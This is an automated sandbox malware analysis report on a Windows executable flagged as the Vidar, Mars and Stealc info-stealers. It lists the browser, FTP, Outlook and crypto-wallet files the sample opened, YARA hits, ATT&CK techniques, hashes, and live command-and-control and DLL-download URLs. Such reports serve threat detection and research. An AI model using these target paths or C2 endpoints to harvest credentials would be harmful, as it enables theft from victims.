Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: 4JgB4mYxvJ.exe PID: 3808, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4JgB4mYxvJ.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4JgB4mYxvJ.exe PID: 3808, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	144 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4JgB4mYxvJ.exe	45%	ReversingLabs	Win32.Spyware.Vidar
4JgB4mYxvJ.exe	42%	Virustotal		Browse
4JgB4mYxvJ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpH	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpft	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.76/15f649199f40275b/nss3.dll	true	0%, Virustotal, Browse	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dll	true	0%, Virustotal, Browse	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll	true	0%, Virustotal, Browse	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php	true		unknown
http://185.172.128.76/15f649199f40275b/freebl3.dll	true		unknown
http://185.172.128.76/15f649199f40275b/msvcp140.dll	true		unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	true		unknown
http://185.172.128.76/15f649199f40275b/sqlite3.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.761	4JgB4mYxvJ.exe, 00000000.00000002.2391464626.000000000429E000.00000004.00000020.00020000.00000000.sdmp	false		low
https://duckduckgo.com/chrome_newtab	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://www.mozilla.com/en-US/blocklist/	4JgB4mYxvJ.exe, 4JgB4mYxvJ.exe, 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://duckduckgo.com/ac/?q=	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpH	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpK	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://185.172.128.76/15f649199f40275b/sqlite3.dll0	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.php26773f16987dca9d650aa36aa0d0e-release019f0ad33803541e5352f	4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpft	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php7	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpnts	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A910000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	false		high
http://185.172.128.76/15f649199f40275b/softokn3.dllP	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php;	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpa	4JgB4mYxvJ.exe, 00000000.00000003.2063118208.000000000437C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php-fulluser-l1-1-0	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A910000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php#	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php(F	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A94D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	false		high
http://185.172.128.76/15f649199f40275b/nss3.dllc/	4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpS	4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.76	4JgB4mYxvJ.exe, 00000000.00000002.2391464626.000000000429E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	false		high
http://www.sqlite.org/copyright.html.	4JgB4mYxvJ.exe, 00000000.00000002.2415466798.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.76	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430190
Start date and time:	2024-04-23 09:32:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4JgB4mYxvJ.exe renamed because original name is a hash value
Original Sample Name:	92c3d034fce06771b5a20172071271e0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/39@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 80 Number of non-executed functions: 129
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:33:31	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.76	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
C:\ProgramData\mozglue.dll	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse

Created / dropped Files

C:\ProgramData\AEBKKECBGIIJJKECGIJECGDHIE

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKFIDHDGIEGCAKFIIJKF

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
